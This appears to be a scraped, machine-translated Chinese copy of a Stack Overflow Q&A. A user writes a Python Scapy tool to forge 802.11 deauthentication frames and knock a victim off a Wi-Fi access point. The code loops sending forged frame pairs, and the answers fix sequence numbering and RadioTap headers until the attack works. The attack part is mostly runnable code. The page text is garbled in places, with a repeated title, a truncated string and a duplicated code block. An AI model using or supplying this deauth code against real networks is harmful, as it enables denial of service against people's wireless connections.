Python 向Dot11流量添加序列号
我正在尝试编写一个工具来执行简单的deauth攻击。这是我正在进行的工作代码:Python 向Dot11流量添加序列号,python,scapy,Python,Scapy,我正在尝试编写一个工具来执行简单的deauth攻击。这是我正在进行的工作代码: from scapy.all import * from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth from time import sleep AP_MAC = 'THE_VICTIM_MAC' VICTIM_MAC = "THE_AP_MAC" interface = "MY_INTERFACE_NAME&quo
from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep
AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"
interface = "MY_INTERFACE_NAME"
def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))
for n in range(1000):
one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
sendp([one, two], iface=interface, verbose=False)
print(f"{n}/1000")
主要问题是,它没有成功地在受害者机器上导致取消授权。我使用aireplay ng
发起了一次deauth攻击,比较了wireshark中的流量,我可以看到我的流量和他们的流量之间的主要区别是他们使用递增的序列号(SN
),而我的流量则停留在0
他们的:
不过,我不知道如何指定序列号。我搜索了整个dot11.py
scapy源文件,我能找到的“序列号”的唯一引用是在Dot11Auth
中,这似乎不正确
如何指定序列号?事实证明,这更像是对802.11的误解。阅读: 序列控制字段是一个两字节的部分,用于识别消息顺序以及消除重复帧。前4位用于分段编号,后12位为序列号 因此,它实际上捆绑在
Dot11
的SC
字段中
我编写了一个简单的函数,从片段号和序列号生成SC值:
def produce_sc(frag: int, seq: int) -> int:
return (seq << 4) + frag
不幸的是,解密仍然不起作用,但至少我排除了这个原因
我最初的问题是
RadioTap
标题需要一个present
参数:
def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
sc = produce_sc(0, seq_num)
return RadioTap(present="Rate+TXFlags") / \
Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
Dot11Deauth(reason=reason)
这对我来说毫无意义,因为我认为,
RadioTap
标题是天线在捕获过程中注意到的情况的指示,而不是发送时可以指定的内容,但是RadioTap用于与您的WiFi驱动程序通信。它实际上从未发送过。您的wifi驱动程序在嗅探时生成,并在发送时读取。它通常用于传递元数据,主要是在嗅探时。虽然格式非常健壮,但实现非常不一致,尤其是在发送。。。这并不奇怪me@Cukic0d谢谢,很高兴知道。我现在很好奇,但我的司机决定做不同的,让它工作。在Wireshark和Scapy的分析中,present
(以及我排除的另一个RadioTap
字段)和序列计数器是我可以在流量和aireplay之间发现的唯一数据差异。关于访问序列号的任何在线信息(wlan.seq)在python程序中使用Scapy在wireshark中归档。?@UDITPATEL序列号是sc
属性的一部分,如上所示。您只需要将其提取出来(基本上,与我在product\u sc
中所做的相反)。
def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
sc = produce_sc(0, seq_num)
return RadioTap(present="Rate+TXFlags") / \
Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
Dot11Deauth(reason=reason)